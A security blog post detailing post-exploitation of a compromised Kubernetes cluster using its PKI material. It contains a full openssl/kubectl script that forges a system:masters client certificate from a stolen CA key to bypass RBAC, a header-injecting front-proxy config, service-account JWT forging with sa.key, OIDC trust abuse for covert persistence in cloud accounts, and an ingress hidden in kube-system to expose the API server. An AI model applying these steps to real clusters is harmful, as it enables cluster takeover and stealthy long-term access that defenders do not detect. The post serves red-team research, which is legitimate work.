Introduction

Kubernetes itself has various configuration and authentication techniques, including mTLS certificate exchange authentication, JWT token, Static Token, Bootstrap token, and other validation methods. Here I will mainly introduce how to utilize multiple similar techniques at the certificate level.

TL;DR

This article mainly aims to introduce the usage and post exploitation of various certificates and authentication technologies in Kubernetes. It covers the following aspects:

1. **Certificate Initialization**: During initialization, Kubernetes generates or uses an existing RootCA and issues certificates for critical internal services (such as etcd). The main purposes of these certificates are encryption communication and identity authentication.
2. **Trusted Proxy for APIServer**: The article explains how to configure a reverse proxy using nginx to leverage APIServer. However, this method is more challenging as it requires deploying your own server and configuring relevant parameters.
3. **Subsequent Utilization of ETCD Certificates**: ETCD is the database in the Kubernetes system, controlling ETCD allows bypassing APIServer's authorization and directly manipulating cluster status and permissions. The article also mentions an NCCGroup article that provides further methods for utilizing ETCD.
4. **Client Certificates**: mTLS is a commonly used means of administrator authentication in Kubernetes. The article provides detailed explanations on generating client certificates and utilizing them to take control of the entire cluster.
5. **JWT Tokens**: The article delves into Kubernetes' JWT token mechanism, particularly its exploitation methods when there is no mTLS mutual verification in place. It introduces a tool called TicketMaster for simulating attacks using any service account.
   Covering multiple technical details from certificate generation to post exploitation, this content is suitable for readers who have an in-depth understanding of Kubernetes security requirements.

Certification Initialization

> Reference:
>
> https://www.zhaohuabing.com/post/2020-05-19-k8s-certificate/
> This article is written very well, providing a comprehensive introduction to the certificate system of k8s. It is easy to understand and much more user-friendly compared to the official documentation's best practices. Highly recommended.
>
> https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/kubeadm-certs/
> How to manage certificates using kubeadm
>
> https://kubernetes.io/zh-cn/docs/setup/best-practices/certificates/
> Official documentation on PKI best practices

In the initialization process of k8s, it will first generate a self-signed RootCA or use an existing RootCA, and then generate some intermediate certificates (this step is generally not necessary). Then it will issue certificates for other important internal services or re-sign individual certificates separately, such as etcd intercommunication and access to etcd services. These certificates serve two main purposes: encryption

communication and authentication identity verification.

In persistent or privilege escalation situation in k8s, we will discuss several specific scenarios next: client credentials for accessing etcd clusters in communication-related cases; mutual TLS certificates for APIServer in authentication-related cases; sa certificates for issuing serviceaccount JWT tokens; and front-proxy ca for trusted proxy agents.

Post Exploitation

After understanding files under `/etc/kubernetes/pki` folder clearly, now begins to introduce the steps to sign and attacks.

Trusted Front Proxy of APIServer

Using a trusted forward proxy is very simple, but it requires a higher level of expertise to set up your own service as an API server reverse proxy. While it may not have strong practical significance in terms of real-world applications, it can still be used as a means of external access. All you need to do is configure it in Nginx, for example:

```
server {
    listen       443 ssl;
    server_name  test.k8sproxy.xxxxx.com;
    ssl_certificate      /etc/kubernetes/pki/ca.crt;
    ssl_certificate_key  /etc/kubernetes/pki/ca.key;
    location / {
      access_by_lua '
      -- your front proxy token is jwt, so use resty.jwt to parse
      local cjson = require("cjson")
      local jwt = require("resty.jwt")
      -- get auth header
      local auth_header = ngx.var.http_Authorization

      if auth_header == nil then
        -- Ban no Token header
        ngx.exit(ngx.HTTP_UNAUTHORIZED)
      end

      local _, _, jwt_token = string.find(auth_header, "Bearer%s+(.+)")
      if jwt_token == nil then
        -- ban bad token fornat
        ngx.exit(ngx.HTTP_UNAUTHORIZED)
      end

      -- secret!
      local secret = "your-jwt-sercets"
      local jwt_obj = jwt:verify(secret, jwt_token)
      if jwt_obj.verified == false then
        -- ban verified error
        ngx.exit(ngx.HTTP_UNAUTHORIZED)
      else
        -- use user in jwt object with X-Remote-User header
```

```
        ngx.req.set_header("X-Remote-User", jwt_obj.user)
      end
    ';
    proxy_ssl_certificate /etc/kubernetes/pki/front-proxy.crt;
    proxy_ssl_certificate_key /etc/kubernetes/pki/front-proxy.key;
    proxy_pass https://apiserver:6443;
  }
}
```

But game is still not over.

APIServer provides several command line parameters: `--requestheader-username-headers`, `--requestheader-group-headers`, and `--requestheader-extra-headers-prefix`. These parameters are used to configure the field names of the HTTP headers.

Among them, only the parameter `--requestheader-username-headers` is required. In the current scenario, it is sufficient to configure this parameter alone. For example, by adding `--requestheader-username-headers=X-Remote-User` to the APIServer startup parameters, APIServer will retrieve the X-Remote-User header from the request and use its corresponding value as the user for current operations.

Since APIServer retrieves usernames from request headers, a question arises: how can we ensure that these requests are trustworthy? How do we prevent malicious users from forging requests and bypassing identity authentication proxy servers to directly access APIServer with fake requests? Would this allow anyone to simulate any user's access? Of course not. We need a way to verify the identity of the proxy server.

Fortunately, K8s developers have considered this issue. Therefore, APIServer provides two additional parameters: `--requestheader-client-ca-file` and `--requestheader-allowed-names`. Among them, `--requestheader-client-ca-file` is mandatory and is used to specify the location of CA certificates for authenticating proxy servers. If both parameters are specified together, in addition to verifying client certificate issuers, it will also verify client certificate CN fields to ensure that no one uses other certificates impersonating as proxy servers.

In conclusion, exploiting such certificates post-exploitation techniques is usually more difficult or relatively unnecessary compared to other methods mentioned above.

ETCD Certification Post Exploitation

etcd plays the role of a traditional web server database in the overall Kubernetes system. Therefore, we can bypass authentication based on apiserver and directly control cluster status information and permission persistence, thus controlling the database that apiserver backend relies on. Of course, in terms of post-exploitation, I recommend an article by my friend from NCC Group presented at KubeCon Shanghai 2023.
Topic: https://research.nccgroup.com/2023/11/07/post-exploiting-a-compromised-etcd-full-control-over-the-cluster-and-its-nodes/
Tool link: https://github.com/nccgroup/kubetcd

Client Certification

mTLS client verification is a common authentication method used by Kubernetes administrators. By default, the kubeconfig file for management will contain configurations like the following:

```yaml
apiVersion: v1
clusters:
  - cluster:
      certificate-authority-data: LS0tL...S1Qo= // Server CA
      server: https://server:26443
    name: default
contexts:
  - context:
      cluster: default
      user: default
    name: default
current-context: default
kind: Config
preferences: {}
users:
  - name: default
    user:
      client-certificate-data: LS0tQU...10K
      client-key-data: LS0...tLQo=
```

其中，通过分析 base64 之后的 client-certificate-data ，则会得到具体签发的管理员信息。

```
client-certificate-data:
LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJrVENDQVRlZ0F3SUJBZ0lJZkl0SnFRc2JWSmd3Q2dZSU
tvWkl6ajBFQXdJd0l6RWhNQjhHQTFVRUF3d1kKYXpOekxXTnNhV1Z1ZEMxallVQXhOekV3T0RNMU5UQTFNQjRY
RFRJME1ETXhPVEE0TURVd05Wb1hEVEkxTURNeApPVEE0TURVd05Wb3dNREVYTUJVR0ExVUVDaE1PYzNsemRHVn
RPbTFoYzNSbGNuTXhGVEFUQmdOVkJBTVRESE41CmMzUmxiVHBoWkcxcGJqQlpNQk1HQnlxR1NNNDlBZ0VHQ0Nx
R1NNNDlBd0VIQTBJQUJQbDlBeWtXN0tYMEJMNFUKYnhIQ0xBczJzek5ZSmFINTJ5bW9ORU95ekxYc0RIbFUvek
RFdG5zajRyYWlyWG9tMTNRR1dLVUtwVlgxb1hHdQpyOGZyaW91alNEQkdNQTRHQTFVZER3RUIvd1FFQXdJRm9E
QVRCZ05WSFNVRUREQUtCZ2dyQmdFRkJRY0RBakFmCkJnTlZIU01FR0RBV2dCU0tRclZQOEkrK1A1R3lWZWlFWV
dqeWRoeUFVekFLQmdncWhrak9QUVFEQWdOSUFEQkYKQWlCaktsdWJvSzRWQk5xVUYyQytKMUJWSTZiMlBUZU13
LzczQ1pHYzljcDhQUUloQUlzU1RnZElMSk1KbU9nSwpxSFJWQXllVjJSbjhSUStRVUh2L0cwTzlpUnZNCi0tLS
0tRU5EIENFUlRJRklDQVRFLS0tLS0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJkekNDQVIyZ0F3
SUJBZ0lCQURBS0JnZ3Foa2pPUFFRREFqQWpNU0V3SHdZRFZRUUREQmhyTTNNdFkyeHAKWlc1MExXTmhRREUzTV
RBNE16VTFNRFV3SGhjTk1qUXdNekU1TURnd05UQTFXaGNOTXpRd016RTNNRGd3TlRBMQpXakFqTVNFd0h3WURW
UVFEREJock0zTXRZMnhwWlc1MExXTmhRREUzTVRBNE16VTFNRFV3V1RBVEJnY3Foa2pPClBRSUJCZ2dxaGtqT1
BRTUJCd05DQUFTYmhPdXRpYU1KMmZTM3VRZm5YNWVxaStNMzBva0UyMXMydkRvUkVVUVAKVUg2TXpRNDNCUm1T
ZDBnOVF2Q0Z4WlhXU3d0TnkycXFnaU4wMlI2SHoveEhvMEl3UURBT0JnTlZIUThCQWY4RQpCQU1DQXFRd0R3WU
RWUjBUQVFIL0JBVXdBd0VCL3pBZEJnTlZIUTRFRmdRVWlrSzFUL0NQdmorUnNsWG9oR0ZvCjhuWWNnRk13Q2dZ
SUtvWkl6ajBFQXdJRFNBQXdSUUlnYnhVR2RURlpmNTdNSEpjWWFUczVtWkdLVFplUDN2U0YKK2doa0Z6VzNoWT
hDSVFERUorV0laWXZTdzBIRDBQV0ZNOE1MeDdrSm1YTWM4NCs4UnZEdDE4WGVodz09Ci0tLS0tRU5EIENFUlRJ
RklDQVRFLS0tLS0K
```

Usually, the `O (organization): system:masters` field indicates that the certificate is issued to the super-administrator group (this group can bypass RBAC authorization, which is crucial. Additionally, this group is hardcoded and cannot be deleted). On the other hand, `CN (Common Name)` represents names such as `system:admin` or `system:cluster-admin`, or account names like `system:kube-controller-manager`, `k3s-cloud-controller-manager`, `system:apiserver`, etc. It can also be a regular user name like `developer`.

> It should be noted that the only entity that can be directly created in k8s is serviceaccount. Users, on the other hand, cannot be created inherently. Therefore, federated authentication methods such as SAML AD or OIDC are commonly used for authorization, enabling unified authentication across different systems.

So, in brief, CN represents k8s users, while O represents k8s groups.

At the same time, this type of certificate will identify its extKeyUsage as Client authentication, which means client-side authentication.

This type of certificate is issued through a client CA (such as `/var/lib/rancher/k3s/server/tls/client-ca.{crt,key}`) or sometimes through a root CA (`/etc/kubernetes/pki/ca.{crt,key}`).

I have left a script to demonstrate how to manually forge and create Kubeconfig for such certificates.

````
```sh
# Create a user folder
# example for /etc/kubernetes/pki/ca.crt sign
cd /etc/kubernetes/pki
mkdir -p users
cd users/

# create cnf to generate any CSR
cat > openssl.cnf << EOF
[ req ]
default_bits = 2048
default_md = sha256
distinguished_name = req_distinguished_name

[req_distinguished_name]

[ v3_ca ]
basicConstraints = critical, CA:TRUE
keyUsage = critical, digitalSignature, keyEncipherment, keyCertSign

[ v3_req_server ]
basicConstraints = CA:FALSE
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = serverAuth

[ v3_req_client ]
basicConstraints = CA:FALSE
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = clientAuth
EOF

# gen priv key
openssl genrsa -out devuser.key 2048

# make csr requests
openssl req -new -key devuser.key -subj "/CN=kubernetes-admin/O=system:masters" -out
devuser.csr
```
````

```

# ANY CN and O is system:masters to bypass RBAC
openssl req -new -key devuser.key -subj "/CN=kubernetes-admin-testadmin/O=system:masters" -out devuser.csr

# gen user crt with openssl
## ca.crt and ca.key should at /etc/kubernetes/pki
## workdir is /etc/kubernetes/pki/users now.
openssl x509 -req -in devuser.csr -CA ../ca.crt -CAkey ../ca.key -CAcreateserial -extensions v3_req_client -extfile openssl.cnf -out devuser.crt -days 3650

# set clustername and apiserver
export KUBE_APISERVER="https://{{K8S_MASTER_IP}}:6443"
export CLUSTER_NAME=clustername

# generating kuberconfig 1
kubectl config set-cluster ${K8S_CLUSTER_NAME} \
--certificate-authority=../ca.crt \
--server=${KUBE_APISERVER} \
--embed-certs=true \
--kubeconfig=devuser

# set client auth with cred
# generating kuberconfig 1
kubectl config set-credentials devuser \
--client-certificate=devuser.crt \
--client-key=devuser.key \
--embed-certs=true \
--kubeconfig=devuser

# setting context with clustername with user and namespace.
kubectl config set-context ${K8S_CLUSTER_NAME} \
--cluster=${K8S_CLUSTER_NAME} \
--namespace=default \
--user=devuser \
--kubeconfig=devuser

# set current context to previous sets
kubectl config use-context ${K8S_CLUSTER_NAME} --kubeconfig=devuser

# done. read your kubeconfig
cat ./devuser
```

Once this is issued, you can use the kubeconfig of this devuser to directly connect to the APIServer and attempt to take over the entire cluster.

> This process is equivalent to creating a CertificateSigningRequest object in the k8s cluster and going through the signing process on the backend after it has been approved.

```
openssl genrsa -out hacker.key 2048
openssl req -new -key hacker.key -subj "/CN=iamhacker" -out hacker.csr
```

```
LOCAL_CSR=`cat hacker.csr| base64 | tr -d "\n"` cat <<EOF | kubectl apply -f -
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
        name: es-on-req
spec:
        request: ${LOCAL_CSR}
        signerName: kubernetes.io/kube-apiserver-client
        #expirationSeconds: 86400  # one day
        usages:
                - client auth
EOF

# approve and sign: kubectl certificate approve es-on-req
# after sign req from pending to Issued
kubectl get csr es-on-req -o jsonpath='{.status.certificate}'| base64 -d >
ehacker.crt
```

JWT serviceaccount tokens

Next, here comes to the interesting part. The JWT token mechanism in k8s is quite fascinating. When not using mtls mutual authentication, JWT Bearer Auth is the most commonly used credential within the cluster.

As we all know, K8S's JWT is also signed, but its signing method is not weak HS256, instead it uses RS256. The simplest format of JWT Claim is following.

```
{
  "alg": "RS256"
  // "kid": key-id // some aws like service has
}
{
  "aud": [
    "https://kubernetes.default.svc.<node-name>",
    // "sts.amazonaws.com"
    // "k3s"
    // "https://kubernetes.default.svc"
    // "https://kubernetes.default.svc.cluster.local"
    // node-name could be cluster.local or xxx
  ],
  "exp": 1735799999,   // expiration time
  "iat": 1704164933,  // issue at
  "iss": "https://kubernetes.default.svc.<node-name>",
  // https://oidc.eks.us-west-1.amazonaws.com/id/<eks-oidc-id>
  // iss is issuer
  "kubernetes.io": {
    "namespace": "<ns>", // service account namespace
    "serviceaccount": {
      "name": "<name>", // service account username
      "uid": "<sa-uid>" // service account uid
    }
  },
```

```
  "nbf": 1704164933, // not valid before which is always same as iat
  "sub": "system:serviceaccount:<ns>:<name>"
}
```

The issuance process is done through the signing of sa.key. This process has been simplified and weaponized, and I have stored it in the project ticketmaster. Feel free to check it out and give it a star if you find it useful.

This method has excellent concealment and can impersonate almost any service account. It even supports federated exploitation of other cloud services authorized by the service account, which will be mentioned in subsequent sections.

However, there are several limitations to using it.
One is that all service accounts in Kubernetes can be listed (to obtain UID, name, and namespace information, where obtaining the UID is crucial as it serves as a unique identifier for users).
Another limitation is the need to obtain at least one template JWT to determine the fields used in the JWT and their corresponding values (sometimes issuer maybe a problem).

Additionally, since UID is required and even service accounts with the same name under the same namespace may have different UIDs (due to deletion and recreation), this makes it easy for such attack methods to become ineffective after backing up all names, deleting them all once, and then recreating accounts with the same names.

One More Thing (Tim Cook face)

here is I need point out two points. One of it is a part of key to Wiz EksClusterGame IV Challenge.

Federal Cloud of Investigation - JWT Audience

Ass we all known, various cloud services can establish mutual trust through the OIDC technology. You trust me, and I trust you. When a cluster still has OIDC trust, this technology allows us to invisibly persist other cloud services by directly forging K8S credentials. For example, AWS.

> Other cloud service offers equivalent services.

The interesting thing about this technique is that even if you are unable to access the k8s cluster in the end (for example, if the other party detects your attack behavior and restricts access to the cluster by implementing physical isolation or modifying network structure as defensive measures), as long as there is still a trusted relationship between the cluster and other clouds, and it has not been compromised, you can still issue arbitrary JWT tokens from the cluster to access other cloud resources with specific identities. The only concern for the cloud is that the request originates from an external IP address rather than a cluster address.

how to configure a similar environment for mutual communication, here is an excellent example: https://www.artur-rodrigues.com/tech/2024/03/19/cross-cloud-access-a-native-kubernetes-oidc-approach.html

reverse proxy APIServer (Expose kubernetes under ingress)

This technique is not difficult to understand. Its main purpose is to bypass the firewall and directly access the API Server. Ass is well known, the API server's service is usually open on port 6443 of the master address and it listens for TLS connections. However, firewalls typically only allow ports 80 and 443, which are commonly used by ingress services. So how can we freely call the API server from outside?

In fact, Kubernetes provides an internal service called `kubernetes.default.svc.cluster.local`. This service is located in the default namespace of Kubernetes and it opens port 443. Since it's a service, we can use ingress to forward its traffic externally.

Example with nginx ingress.

```
apiVersion: <version>
kind: Ingress
metadata:
  annotations:
    kubernetes.io/ingress.class: nginx
    nginx.ingress.kubernetes.io/backend-protocol: HTTPS
    nginx.ingress.kubernetes.io/rewrite-target: "/$1"
    nginx.ingress.kubernetes.io/secure-backends: "false"
  name: ingress-name
  namespace: ns
spec:
  rules:
    - http:
        paths:
// old ingress
          - path: /kube-api/(.*)$
            pathType: Prefix
            backend:
              serviceName: service-name
              servicePort: 443
//  new ingress
        - path: /kube-api/(.*)$
            pathType: Prefix
          backend:
            service:
              name: service-name
                port:
                  number: 443

```

But ingress is namespace-d , if current NS is not the default, how we deal with it?

Kubernetes has a service type called `ExtenalName`

```yaml
apiVersion: v1
kind: Service
metadata:
  name: kube-api
  namespace: "none-default-namespace"
spec:
  type: ExternalName
  externalName: ip-here # or use kubernetes.default.svc.cluster.local
```

Therefore, we can use this method to forward the corresponding services of other namespaces to this NS.

> You can cleverly forward a Kubernetes service in the default namespace within `kube-system`. Trust me, not many administrators will specifically check if there is an ingress for it in `kube-system`. :)

By combining these two methods, we can finally obtain the API server service in the ingress. Then, all we need to do is modify the cluster configuration (kubeconfig or command-line parameters) by changing the apiserver address from `https://ip:6443` to `http(s)://ip/kube-api`, and we can access it again using kubectl.

> if you met certificate issue in kubectl, play with `--insecure-skip-tls-verify`

Summary

Summary time! In the context of post-exploitation activities, Kubernetes' certificate system offers significant advantages and flexibility. Firstly, as the certificate system itself is designed to ensure the security of communication encryption and identity authentication, especially through mutual TLS (mTLS) authentication, it can verify the identities of both clients and servers. If an attacker obtains a valid certificate, they can impersonate a legitimate super administrator, bypassing regular RBAC identity verification mechanisms and gaining direct access to cluster resources. Additionally, by controlling the ETCD backend database or forging service account JWT tokens, attackers can maintain persistent control over permissions and states within the cluster. The flexible issuance of certificates combined with federated authentication methods like OIDC provides covert yet powerful avenues for exploitation in later stages.

Thanks

Thank you to my WgpSec team for their support in my research.

WgpSec

Special thanks to the members of the CSA GCR Cloud Penetration Testing Working Group for their guidance and assistance in my research direction.

Hello, I'm Esonhugh. Take care of your cluster and be well. :)

If you really enjoy my content, here is a sponsorship link https://www.patreon.com/Skyworshiper, where I will occasionally release new articles or pre-release drafts.

Thank you for reading this so far.